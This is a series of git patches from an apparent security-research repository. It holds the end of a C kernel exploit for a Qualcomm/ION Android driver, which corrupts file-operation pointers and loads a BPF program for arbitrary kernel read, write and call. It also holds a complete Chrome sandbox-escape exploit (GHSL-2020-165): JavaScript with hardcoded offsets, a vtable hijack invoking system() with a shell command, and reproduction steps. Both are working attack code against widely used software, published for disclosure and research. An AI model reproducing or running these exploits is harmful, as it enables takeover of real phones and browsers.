+  struct ion_allocation_data ion_alloc_data;
+  ion_alloc_data.len = 1 << ORDER;
+  ion_alloc_data.flags = 1;
+  ion_alloc_data.heap_id_mask = ION_HEAP(25);
+
+  if (ioctl(ion_fd, ION_IOC_ALLOC, &ion_alloc_data) < 0) {
+    err(1, "ION_IOC_ALLOC 1 failed\n");
+  }
+  
+  ion_alloc_fd = ion_alloc_data.fd;
+  if (ion_alloc_data.len < 0x1000 * (VMAS_LEN + 2)) {
+    err(1, "VMAS_LEN too large\n");
+  }
+
+  size_t ion_region_size0 = compute_ion_region_size();
+
+  tmp_ion_regions[0] = mmap(NULL, ion_region_size0, PROT_READ | PROT_WRITE, MAP_SHARED, ion_alloc_data.fd, 0x1000);
+  if (tmp_ion_regions[0] == MAP_FAILED) {
+    err(1, "map failed tmp region 0");
+  }
+
+  *ion_region = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE, ion_alloc_data.fd, 0x2000);
+  if (ion_region == MAP_FAILED) {
+    err(1, "map failed");
+  }
+
+  for (int i = 0; i < VMAS_LEN; i++) {
+    tmp_ion_regions[i + 1] = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE, ion_alloc_data.fd, ion_alloc_data.len -  0x1000 * (VMAS_LEN - i));
+    if (tmp_ion_regions[i + 1] == MAP_FAILED) {
+      err(1, "map tmp failed %d", i);
+    }
+  }
+  return ion_alloc_fd;
+}
+
+int main() {
+  setbuf(stdout, NULL);
+  setbuf(stderr, NULL);
+  int ion_alloc_fds[3];
+
+  struct bounce_buffer_param p;
+  allocate_bounce_buffer(&p);
+
+  uint64_t regions[MMAP_LEN];
+  for (int i = 0; i < MMAP_LEN; i++) {
+    regions[i] = (uint64_t)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0);
+    if ((void*)(regions[i]) == MAP_FAILED) {
+      err(1, "mmap %d failed", i);
+    }
+  }
+  
+  char* ion_region;
+  char* tmp_ion_regions[VMAS_LEN + 1];
+
+  int ion_fd = open("/dev/ion", O_RDONLY);
+  if (ion_fd == -1) {
+    err(1, "cannot open ion\n");
+  }
+
+  struct ion_allocation_data ion_alloc_data2;
+  ion_alloc_data2.len = 0x1000 * G_REGION_LEN;
+  ion_alloc_data2.flags = 1;
+  ion_alloc_data2.heap_id_mask = ION_HEAP(19);
+
+  if (ioctl(ion_fd, ION_IOC_ALLOC, &ion_alloc_data2) < 0) {
+    err(1, "ION_IOC_ALLOC 2 failed\n");
+  }
+
+  ion_alloc_fds[1] = ion_alloc_data2.fd;
+#ifdef DMA_SPRAY
+  struct ion_allocation_data ion_alloc_data3;
+  ion_alloc_data3.len = 0x1000 * NENTS;
+  ion_alloc_data3.flags = 1;
+  ion_alloc_data3.heap_id_mask = ION_HEAP(25);
+
+  if (ioctl(ion_fd, ION_IOC_ALLOC, &ion_alloc_data3) < 0) {
+    err(1, "ION_IOC_ALLOC failed bounce 1\n");
+  }
+  ion_alloc_fds[2] = ion_alloc_data3.fd;
+#endif
+  size_t ion_region_size0 = compute_ion_region_size();
+  for (int i = 0; i < 5; i++) {
+    ion_alloc_fds[0] = init_tmp_region(ion_fd, &(tmp_ion_regions[0]), &ion_region);
+    do_one_rw(DMA_ADDRESS, SYS_LEN * BOUNCE_LEN, regions, ion_region, &(ion_alloc_fds[0]), 0);
+    sleep(1);
+    sync_bounce_buffers(0);
+    
+    printf("done read %d\n", i);
+    if (trigger_time > TRIGGER_THRESH) {
+#ifdef DEBUG_MEM_DUMP
+      dump_memory(i);
+#endif     
+      int null_region_index = find_null_fops();
+      int dma_region_index = find_dma_fops();
+      int region_index = -1;
+      enum region_type type;
+      if (null_region_index != -1 && dma_region_index != -1) {
+        if (null_region_index < dma_region_index) {
+          region_index = null_region_index;
+          type = null;
+        } else {
+          region_index = dma_region_index;
+          type = dma;
+        }
+        
+      } else if (null_region_index != -1) {
+          region_index = null_region_index;
+          type = null;
+      } else if (dma_region_index != -1) {
+          region_index = dma_region_index;
+          type = dma;
+      }
+
+      if (region_index != -1) {
+        if (region_index < 2) {
+          err(1, "region index calculation error\n");
+        }
+        unsigned long* fops = (unsigned long*)(&(ion_sys_regions[1][0]));
+        for (int i = 0; i < 10; i++) {
+          fops[i] = bpf_addr;
+        }
+        sync_bounce_buffers(1);
+        unsigned long bpf_data_address = ion_addr + 2048;
+        unsigned long __bpf_call_base = bpf_addr - BPF_TO_BASE;
+        unsigned long* bpf_data = (unsigned long*)(&(ion_sys_regions[1][2048]));
+        trigger_time = 0;
+//-------BPF program, from https://googleprojectzero.blogspot.com/2020/12/an-ios-hacker-tries-android.html -------------------------------------------------------
+        //bpf program to run
+		struct bpf_insn insn[] = {
+			// Load base address.
+			/*  0 */ BPF_LD_IMM64(BPF_REG_6, bpf_data_address),
+
+			// Load R7 = (in:data + 0); this is the operation to perform.
+			/*  2 */ BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_6, bpf_op_offset),
+
+			// Check if this operation is 'r'.
+			/*  3 */ BPF_JMP_IMM(BPF_JNE, BPF_REG_7, 'r', +4),
+			// Load R1 = *(in:data + 8); this is the read address.
+			/*  4 */ BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_6, bpf_rw_addr_offset),
+			// Load R1 = *R1.
+			/*  5 */ BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_1, 0),
+			// Store *(out:data + 8) = R1.
+			/*  6 */ BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_1, bpf_out_offset),
+			// Done.
+			/*  7 */ BPF_JMP_A(13),
+
+			// Check if this operation is 'w'.
+			/*  8 */ BPF_JMP_IMM(BPF_JNE, BPF_REG_7, 'w', +4),
+			// Load R1 = *(in:data + 8); this is the write address.
+			/*  9 */ BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_6, bpf_rw_addr_offset),
+			// Load R2 = *(in:data + 10); this is the value to write.
+			/* 10 */ BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_6, bpf_arg0),
+			// Store *R1 = R2.
+			/* 11 */ BPF_STX_MEM(BPF_DW, BPF_REG_1, BPF_REG_2, 0),
+			// Done.
+			/* 12 */ BPF_JMP_A(8),
+
+			// Check if this operation is 'x'.
+			/* 13 */ BPF_JMP_IMM(BPF_JNE, BPF_REG_7, 'x', +7),
+			// Load R1 = *(in:data + 10); this is the first argument.
+			/* 14 */ BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_6, bpf_arg0),
+			// Load R2 = *(in:data + 18); this is the second argument.
+			/* 15 */ BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_6, bpf_arg1),
+			// Load R3 = *(in:data + 20); this is the third argument.
+			/* 16 */ BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_6, bpf_arg2),
+			// Load R4 = *(in:data + 28); this is the fourth argument.
+			/* 17 */ BPF_LDX_MEM(BPF_DW, BPF_REG_4, BPF_REG_6, bpf_arg3),
+			// Load R5 = *(in:data + 30); this is the fifth argument.
+			/* 18 */ BPF_LDX_MEM(BPF_DW, BPF_REG_5, BPF_REG_6, bpf_arg4),
+			// Call R0 = function(R1, R2, R3, R4, R5). This call gets patched.
+			/* 19 */ BPF_EMIT_CALL(__bpf_call_base - 4),
+			// Store *(out:data + 8) = R0.
+			/* 20 */ BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0x108),
+			// Done. Fallthrough.
+
+			// Store *(out:data + 0) = R7, i.e., record the operation that we just executed.
+			/* 21 */ BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_7, 0x100),
+		};
+//------------------------------------------------------------------------------------------------------------------
+        while (1) {
+          ion_alloc_fds[0] = init_tmp_region(ion_fd, &(tmp_ion_regions[0]), &ion_region);
+		  do_one_rw(DMA_ADDRESS, SYS_LEN * (region_index + 1), regions, ion_region, &(ion_alloc_fds[0]), 1);
+       printf("running bpf program\n");
+        
+        unsigned long bpf_insn_addr = ion_addr + 1024;
+        memcpy(&(ion_sys_regions[1][1024]), insn, sizeof(insn));
+        bpf_data[128] = 12345;
+        //set up read
+		bpf_data[bpf_op_offset/8] = 'r';
+        bpf_data[bpf_rw_addr_offset/8] = bpf_data_address + 1024;
+        switch(type) {
+          case null:
+            for (int i = 0; i < SLAB_LEN; i++) {
+              lseek64(p.null_fds[i], bpf_insn_addr, 0);
+            }
+            break;
+          case dma:
+            for (int i = 0; i < REGIONS_LEN_1; i++) {
+              lseek64(ion_sys_fds[i], bpf_insn_addr, 0);
+            }
+            for (int i = 0; i < REGIONS_LEN_2; i++) {
+              lseek64(ion_sys_fds2[i], bpf_insn_addr, 0);
+            }
+            break;
+          default:
+            break;
+        }
+        printf("bpf_data 0x%lx\n", bpf_data[bpf_out_offset/8]);
+        if (bpf_data[bpf_out_offset/8] == 12345) {
+          printf("[+] successful read\n");
+          break;
+        }
+      }
+      break;
+      }
+    }
+    munmap(tmp_ion_regions[0], ion_region_size0);
+    munmap(ion_region, 0x1000);
+    for (int i = 0; i < VMAS_LEN; i++) {
+      munmap(tmp_ion_regions[i + 1], 0x1000);
+    }
+    sleep(5);
+  }
+
+  for (int i = 0; i < 3; i++) {
+    close(ion_alloc_fds[i]);
+  }
+
+  close(ion_fd);
+  
+  for (int i = 0; i < BOUNCE_LEN; i++) {
+    munmap(bounce_regions[i], SYS_LEN);
+  }
+}

From 91f6630811ea8baa3959ad500894976c716539c5 Mon Sep 17 00:00:00 2001
From: buherator <buherator@silentsignal.hu>
Date: Tue, 9 Mar 2021 21:45:04 +0100
Subject: [PATCH 029/104] Added Java example query (JMS deserialization)

---
 README.md | 1 +
 1 file changed, 1 insertion(+)

diff --git a/README.md b/README.md
index fc8c8ee..0cc0268 100644
--- a/README.md
+++ b/README.md
@@ -20,6 +20,7 @@ We use it for these main purposes:
 
 * Java
   * [Apache Struts CVE-2018-11776](CodeQL_Queries/java/Apache_Struts_CVE-2018-11776)
+  * [Insecure JMS deserialization in Spring applications](https://github.com/silentsignal/jms-codeql/)
 * C/C++
   * [Apple XNU icmp_error CVE-2018-4407](CodeQL_Queries/cpp/XNU_icmp_error_CVE-2018-4407)
   * [Facebook Fizz integer overflow vulnerability (CVE-2019-3560)](CodeQL_Queries/cpp/Facebook_Fizz_CVE-2019-3560)

From bb6ff5435d4b3eef4e6a7a7dfe6ed334b4f0a3f5 Mon Sep 17 00:00:00 2001
From: Kevin Backhouse <kevinbackhouse@github.com>
Date: Wed, 10 Mar 2021 11:13:25 +0000
Subject: [PATCH 030/104] Add PR link to the issue template.

---
 .github/ISSUE_TEMPLATE/all-for-one.md | 6 ++++++
 .github/ISSUE_TEMPLATE/bug-slayer.md  | 6 ++++++
 2 files changed, 12 insertions(+)

diff --git a/.github/ISSUE_TEMPLATE/all-for-one.md b/.github/ISSUE_TEMPLATE/all-for-one.md
index 0622292..e6b8580 100644
--- a/.github/ISSUE_TEMPLATE/all-for-one.md
+++ b/.github/ISSUE_TEMPLATE/all-for-one.md
@@ -7,6 +7,12 @@ assignees: ''
 
 ---
 
+## Query
+
+*Link to pull request with your CodeQL query:*
+
+Relevant PR: https://github.com/github/codeql/pull/nnnn
+
 ## CVE ID(s)
 
 *List the CVE ID(s) associated with this vulnerability. GitHub will automatically link CVE IDs to the [GitHub Advisory Database](https://github.com/advisories).*
diff --git a/.github/ISSUE_TEMPLATE/bug-slayer.md b/.github/ISSUE_TEMPLATE/bug-slayer.md
index c0ba339..2300214 100644
--- a/.github/ISSUE_TEMPLATE/bug-slayer.md
+++ b/.github/ISSUE_TEMPLATE/bug-slayer.md
@@ -7,6 +7,12 @@ assignees: ''
 
 ---
 
+## Query
+
+*Link to pull request with your CodeQL query:*
+
+Relevant PR: https://github.com/github/codeql/pull/nnnn
+
 ## CVE ID(s)
 
 *List the CVE ID(s) associated with this vulnerability. GitHub will automatically link CVE IDs to the [GitHub Advisory Database](https://github.com/advisories).*

From 4dbcfe6666758d404c4cfdfe683642916f162870 Mon Sep 17 00:00:00 2001
From: Man Yue Mo <m-y-mo@github.com>
Date: Wed, 10 Mar 2021 12:26:24 +0000
Subject: [PATCH 031/104] Add GHSL-2020-165

---
 .../SandboxEscape/GHSL-2020-165/README.md     |  37 ++++
 .../GHSL-2020-165/copy_mojo_js_bindings.py    |  20 ++
 .../GHSL-2020-165/payment_request_clip.html   | 192 ++++++++++++++++++
 .../GHSL-2020-165/payment_request_clip2.html  |  22 ++
 .../payment_request_jam_clip.html             |   9 +
 .../SandboxEscape/GHSL-2020-165/sbx.patch     |  16 ++
 6 files changed, 296 insertions(+)
 create mode 100644 SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/README.md
 create mode 100644 SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/copy_mojo_js_bindings.py
 create mode 100644 SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/payment_request_clip.html
 create mode 100644 SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/payment_request_clip2.html
 create mode 100644 SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/payment_request_jam_clip.html
 create mode 100644 SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/sbx.patch

diff --git a/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/README.md b/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/README.md
new file mode 100644
index 0000000..b66fc24
--- /dev/null
+++ b/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/README.md
@@ -0,0 +1,37 @@
+## Chrome Beta Sandbox Escape GHSL-2020-165
+
+The write up can be found [here](https://securitylab.github.com/research/one_day_short_of_a_fullchain_sbx). This is a bug in the beta version of Chrome v86 I reported in September 2020. The GitHub Advisory can be found [here](https://securitylab.github.com/advisories/GHSL-2020-165-chrome) and the Chrome issue Chrome Issue [here](https://bugs.chromium.org/p/chromium/issues/detail?1125614). The bug can be used to escape the Chrome sandbox from a compromised renderer.
+
+The exploit is tested on the 64 bit beta version 86.0.4240.30 of Chrome with the following build config (`args.gn`):
+
+```
+target_os = "android"
+target_cpu = "arm64"
+is_java_debug = false
+is_debug = false
+symbol_level = 1
+blink_symbol_level = 1
+```
+
+The exploit is tested on Samsung Galaxy A71 with firmware version A715FXXUATJ2, Baseband A715FXXU3ATI5 and Kernel version 4.14.117-19828683. The offsets in the exploit assume this version of the firmware. For other firmware, use the offsets in the corresponding libraries `libhwui.so` and `libc.so` under `system/lib64`. (64 bit) It requires production firmware on the phone and would fail on emulators and phones with development firmware (i.e. OS built from AOSP source)
+
+It should succeed most of the time and rarely crash. If successful, it'll run the shell command in the `command` variable in the file `payment_request_clip.html`, which would create a file called `pwn` under the directory `/data/data/org.chromium.chrome/`. It can be replaced with other shell commands.
+
+To test, check out version 86.0.4240.30 of Chrome following [these instructions](https://chromium.googlesource.com/chromium/src/+/master/docs/android_build_instructions.md), then apply the file `sbx.patch` to the simulate a compromised renderer. Then build the `chrome_public_apk` target.
+
+Install the resulting apks (under `out/<target>/apks`) on the phone using `adb`, then enable the `MojoJS` feature to simulate a compromised renderer:
+
+1. Enable `Enable command line on non-rooted devices` from `chrome://flags`
+2. Create a file in `/data/local/tmp/chrome-command-line` in the phone and then add `chrome --enable-blink-features=MojoJS` to the file
+3. Force stop Chrome and restart
+
+Then create a directory to host the `html` files included in this directory, and run `copy_mojo_js_bindings.py` to copy the mojo bindings to the directory and host the files on localhost:
+
+```
+python ./copy_mojo_js_bindings.py /path/to/chrome/../out/<target>/gen
+python -m SimpleHTTPServer
+```
+
+Then open the page `payment_request_clip.html` from Chrome on the device. The easiest way is to use the `chrome://inspect/#devices` tool to set up the proxies etc. and open the url.
+
+If successful, the shell command will run and a file called `pwn` will be created in the directory `/data/data/org.chromium.chrome/` in the phone. If failed, click on the link to reload the page and try again (can't use reload for this one). It shouldn't need too many retries to succeed.
diff --git a/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/copy_mojo_js_bindings.py b/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/copy_mojo_js_bindings.py
new file mode 100644
index 0000000..6dc4aae
--- /dev/null
+++ b/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/copy_mojo_js_bindings.py
@@ -0,0 +1,20 @@
+#! /usr/bin/python
+
+import os
+import shutil
+import sys
+
+base_path = sys.argv[1]
+for path, dirs, files in os.walk(base_path):
+  for file in files:
+    if file == 'mojo_bindings.js':
+      shutil.copyfile(os.path.join(path, file), os.path.join('./', file))
+    
+    if file.endswith('.mojom.js'):
+      target_path = os.path.join('./', path[len(base_path) + 1:])
+      try:
+        os.makedirs(target_path)
+      except:
+        pass
+      shutil.copyfile(os.path.join(path, file), os.path.join(target_path, file))
+
diff --git a/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/payment_request_clip.html b/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/payment_request_clip.html
new file mode 100644
index 0000000..188f7a5
--- /dev/null
+++ b/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/payment_request_clip.html
@@ -0,0 +1,192 @@
+<html>
+  <head>
+    <script src="mojo_bindings.js"></script>
+    <script src="third_party/blink/public/mojom/clipboard/clipboard.mojom.js"></script>
+    <script>
+      //Change these to the actual value before running
+      const libhwuiOffset = 0x75d8dd4000n;
+      const libcOffset = 0x75d962c000n;
+      //Points to Execute in libwebp, offset from libhwui
+      const executeOffset = 0x7db9a0n;
+      const bitWriterOffset = 0x803e30n;
+
+      //Offset to system in libc
+      const systemOffset = 0x925b0n;
+ 
+      //The offset of GetRoutingID in rfh's vtable
+      const getRoutingIDOffset = 0x48n;
+      const ifrmUrl = 'payment_request_clip2.html';
+      const jamUrl = 'payment_request_jam_clip.html';
+
+      const reloadUrl = 'payment_request_clip.html';
+
+      const command = 'touch /data/data/org.chromium.chrome/pwn';
+      //Up to 32 bytes maybe written by bit writer.
+      const commandOffset = 0x28;
+      clipboards = [];
+      dataClipboards = [];
+      images = [];
+
+
+	  function sleep(miliseconds) {
+	    var currentTime = new Date().getTime();
+	    while (currentTime + miliseconds >= new Date().getTime()) {
+	    }
+	  }
+
+      function computeAddress(image1, image2) {
+        let addrBuffer = new ArrayBuffer(8);
+        let addrIntView = new Uint8Array(addrBuffer);
+        for (let i = 8; i < 8 + 5; i++) {
+          if (i != 11) {
+            addrIntView[i - 8] = image1[i];
+          } else {
+            addrIntView[i - 8] = image2[i];
+          }
+        }
+        let addrBigIntView = new BigUint64Array(addrBuffer);
+        return addrBigIntView[0];
+      }
+
+      function createIframe(id, src) {
+	    let iframe = document.createElement('iframe');
+	    iframe.style.display="none";
+	    iframe.setAttribute('id', id);
+        if (src !== undefined) {
+	      iframe.src = src;
+        }
+	    document.body.appendChild(iframe);
+      }
+       
+      function removeIframe(id) {
+	    let frame = document.getElementById(id);
+	    frame.parentNode.removeChild(frame);
+      }
+
+      function runCommand(addr) {
+        window.location = reloadUrl + '?addr=' + addr.toString();
+      }
+
+      function readClipboard() {
+        clipboards[0].commitWrite();
+        sleep(1000);
+        clipboards[0].readImage(1).then(readImg);
+        sleep(500);
+        clipboards[1].commitWrite();
+        sleep(1000);
+        clipboards[1].readImage(1).then(readImg);
+      }
+
+      function readImg(image) {
+        if (image.image === null) {
+          console.log('Failed to obtain read clipboard');
+          window.location = reloadUrl;
+        }
+        let imageData = new Uint8Array(image.image.pixelData.bytes);
+        images.push(imageData);
+        if (images.length == 2) {
+          let addr = computeAddress(images[0], images[1]);
+          if (addr < 0xffffffffn) {
+            console.log('Failed to obtain address: ' + addr.toString(16));
+            window.location = reloadUrl;
+          }
+          console.log('addr: ' + addr.toString(16));
+          runCommand(addr);
+        }
+      }
+
+      function readAddress(bitmap1, bitmap2) {
+        createIframe('ifrm', ifrmUrl);
+        createIframe('ifrm1', ifrmUrl);
+        createIframe('jam', jamUrl);
+        setTimeout(()=> {
+          removeIframe('ifrm');
+          clipboards[0].writeImage(bitmap1);
+          removeIframe('ifrm1');
+          clipboards[1].writeImage(bitmap2);
+          dataClipboards[29].ptr.reset();
+          dataClipboards[30].ptr.reset();
+          setTimeout(readClipboard, 3000);
+        }, 3000);
+      }
+
+      function createBitmap(alphaType, width, vtable) {
+        let data = new ArrayBuffer(width * width * 4);
+        if (vtable !== undefined) {
+          let view = new BigUint64Array(data);
+          view[0] = vtable;
+        }
+        let colorSpace = new Array(9);
+        let imageInfo = new skia.mojom.ImageInfo();
+        imageInfo.colorType = 4;
+        imageInfo.alphaType = alphaType;
+        imageInfo.serializedColorSpace = colorSpace;
+        imageInfo.width = width;
+        imageInfo.height = width;
+        let bigBuffer = new mojoBase.mojom.BigBuffer();
+        bigBuffer.bytes = new Uint8Array(data);
+        let bitmap = new skia.mojom.Bitmap();
+        bitmap.imageInfo = imageInfo;
+        bitmap.rowBytes = width * 4;
+        bitmap.pixelData = bigBuffer;
+        return bitmap;
+      }
+
+      function createClipboards(n, clipboardArr) {
+        for (let i = 0; i < n; i++) {
+          let clipboard_ptr = new blink.mojom.ClipboardHostPtr();
+          Mojo.bindInterface(blink.mojom.ClipboardHost.name,
+                            mojo.makeRequest(clipboard_ptr).handle);
+          clipboardArr.push(clipboard_ptr);
+        }
+      }
+
+
+      function sprayCommand() {
+        let dataBitmap = createBitmap(1, 16);
+        let data = dataBitmap.pixelData.bytes;
+        for (let i = 0; i < command.length; i++) {
+          data[commandOffset + i] = command.charCodeAt(i);
+        }
+        for (let i = 0; i < dataClipboards.length; i++) {
+          dataClipboards[i].writeImage(dataBitmap);
+        }
+      }
+
+      function load() {
+        let addrIdx = window.location.href.search('addr');
+        if (addrIdx == -1) {
+          let vtable = libhwuiOffset + bitWriterOffset - getRoutingIDOffset;
+          createClipboards(2, clipboards);
+          createClipboards(32, dataClipboards);
+          sprayCommand();
+          let bitmap1 = createBitmap(1, 32, vtable);
+          let bitmap2 = createBitmap(2, 32, vtable);
+          readAddress(bitmap1, bitmap2);
+        } else {
+          createClipboards(1, clipboards);
+          sleep(2000);
+          let addr = BigInt(window.location.href.substring(addrIdx + 5));
+          if (addr == 0) {
+            window.location = reloadUrl;
+          }
+          let vtable = libhwuiOffset + executeOffset - getRoutingIDOffset;
+          let bitmap = createBitmap(1, 32, vtable);
+          //fake WebPWorker
+          let view = new BigUint64Array(bitmap.pixelData.bytes.buffer);
+          view[2] = libcOffset + systemOffset;
+          view[3] = addr + BigInt(commandOffset);
+          createIframe('ifrm', ifrmUrl);
+          createIframe('jam', jamUrl);
+          setTimeout(() => {
+            removeIframe('ifrm');
+            clipboards[0].writeImage(bitmap);
+            console.log('done');
+          }, 3000);
+        }
+      }
+  </script>
+  <body onload="load()">
+    <a href="payment_request_clip.html">reload</a>
+  </body>
+</html>
diff --git a/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/payment_request_clip2.html b/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/payment_request_clip2.html
new file mode 100644
index 0000000..9920660
--- /dev/null
+++ b/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/payment_request_clip2.html
@@ -0,0 +1,22 @@
+<html>
+  <body>
+  	<script>
+		  var supportedInstruments = [{
+			 supportedMethods: 'secure-payment-confirmation',
+             data: {'credentialIds' : [new ArrayBuffer(4)], 'fallbackUrl' : 'localhost:8000', 'networkData' : new ArrayBuffer(4),
+                    }
+			}];
+
+		  var details = {
+		    total: {
+		      label: 'Total',
+		      amount: { currency: 'USD', value : '55.00' }
+		    }
+		  };
+		  var options = {};
+          for (let i = 0; i < 0x1; i++) {
+      		var request = new PaymentRequest(supportedInstruments, details, options);
+          }
+  	</script>
+  </body>
+</html>
diff --git a/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/payment_request_jam_clip.html b/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/payment_request_jam_clip.html
new file mode 100644
index 0000000..0147a95
--- /dev/null
+++ b/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/payment_request_jam_clip.html
@@ -0,0 +1,9 @@
+<html>
+  <body>
+  	<script>
+          for (let i = 0; i < 0x800; i++) {
+            PublicKeyCredential.isUserVerifyingPlatformAuthenticatorAvailable();
+          }
+  	</script>
+  </body>
+</html>
diff --git a/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/sbx.patch b/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/sbx.patch
new file mode 100644
index 0000000..1fa90ce
--- /dev/null
+++ b/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/sbx.patch
@@ -0,0 +1,16 @@
+diff --git a/third_party/blink/renderer/modules/payments/payment_request.cc b/third_party/blink/renderer/modules/payments/payment_request.cc
+index b0975c59ddb5..a2d7c273950c 100644
+--- a/third_party/blink/renderer/modules/payments/payment_request.cc
++++ b/third_party/blink/renderer/modules/payments/payment_request.cc
+@@ -439,9 +439,9 @@ void StringifyAndParseMethodSpecificData(ExecutionContext& execution_context,
+   if (supported_method == "basic-card") {
+     BasicCardHelper::ParseBasiccardData(input, output->supported_networks,
+                                         exception_state);
+-  } else if (supported_method == kSecurePaymentConfirmationMethod &&
++  } else if (supported_method == kSecurePaymentConfirmationMethod/* &&
+              RuntimeEnabledFeatures::SecurePaymentConfirmationEnabled(
+-                 &execution_context)) {
++                 &execution_context)*/) {
+     UseCounter::Count(&execution_context,
+                       WebFeature::kSecurePaymentConfirmation);
+     output->secure_payment_confirmation =

From 078652511e414f1b00a4c30597a8673f97c1ab57 Mon Sep 17 00:00:00 2001
From: Kevin Backhouse <kevinbackhouse@github.com>
Date: Fri, 12 Mar 2021 11:39:12 +0000
Subject: [PATCH 032/104] Update .github/ISSUE_TEMPLATE/bug-slayer.md

Co-authored-by: Xavier RENE-CORAIL <xcorail@github.com>
---
 .github/ISSUE_TEMPLATE/bug-slayer.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/ISSUE_TEMPLATE/bug-slayer.md b/.github/ISSUE_TEMPLATE/bug-slayer.md
index 2300214..15abd8a 100644
--- a/.github/ISSUE_TEMPLATE/bug-slayer.md
+++ b/.github/ISSUE_TEMPLATE/bug-slayer.md
@@ -9,7 +9,7 @@ assignees: ''
 
 ## Query
 
-*Link to pull request with your CodeQL query:*
+*OPTIONAL - Link to pull request with your CodeQL query:*
 
 Relevant PR: https://github.com/github/codeql/pull/nnnn
 

From 217c4049a50d119097503a785b095f25199db44b Mon Sep 17 00:00:00 2001
From: Man Yue Mo <m-y-mo@github.com>
Date: Mon, 15 Mar 2021 19:30:45 +0000
Subject: [PATCH 033/104] Add line about library offsets.

---
 SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/README.md b/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/README.md
index b66fc24..8d4a127 100644
--- a/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/README.md
+++ b/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/README.md
@@ -13,7 +13,7 @@ symbol_level = 1
 blink_symbol_level = 1
 ```
 
-The exploit is tested on Samsung Galaxy A71 with firmware version A715FXXUATJ2, Baseband A715FXXU3ATI5 and Kernel version 4.14.117-19828683. The offsets in the exploit assume this version of the firmware. For other firmware, use the offsets in the corresponding libraries `libhwui.so` and `libc.so` under `system/lib64`. (64 bit) It requires production firmware on the phone and would fail on emulators and phones with development firmware (i.e. OS built from AOSP source)
+The exploit is tested on Samsung Galaxy A71 with firmware version A715FXXUATJ2, Baseband A715FXXU3ATI5 and Kernel version 4.14.117-19828683. The offsets in the exploit assume this version of the firmware. For other firmware, use the offsets in the corresponding libraries `libhwui.so` and `libc.so` under `system/lib64`. (64 bit) It requires production firmware on the phone and would fail on emulators and phones with development firmware (i.e. OS built from AOSP source) The actual offsets of these libraries also needs to be updated to the ones obtained from the compromised renderer.
 
 It should succeed most of the time and rarely crash. If successful, it'll run the shell command in the `command` variable in the file `payment_request_clip.html`, which would create a file called `pwn` under the directory `/data/data/org.chromium.chrome/`. It can be replaced with other shell commands.
 

From bad40af81145c98139dd9181e920c2c7e9653827 Mon Sep 17 00:00:00 2001
From: Man Yue Mo <m-y-mo@github.com>
Date: Tue, 16 Mar 2021 16:01:02 +0000
Subject: [PATCH 034/104] Correct firmware versions.

---
 SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md    | 2 +-
 SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/README.md | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md b/SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md
index 17efd5d..71fea80 100644
--- a/SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md
+++ b/SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md
@@ -2,7 +2,7 @@
 
 The write up can be found [here](https://securitylab.github.com/research/one_day_short_of_a_fullchain_android). This is a bug in the Qualcomm kgsl driver I reported in July 2020. The GitHub Advisory can be found [here](https://securitylab.github.com/advisories/GHSL-2020-375-kgsl). The bug can be used to gain arbitrary kernel code execution, read and write from the untrusted app domain.
 
-The exploit is tested on Samsung Galaxy A71 with firmware version A715FXXUATJ2, Baseband A715FXXU3ATI5 and Kernel version 4.14.117-19828683. The offsets in the exploit refers to that version of the firmware. For different models of phones, the macro `DMA_ADDRESS`, which indicates the address of the SWIOTLB buffer, will also need to be changed.
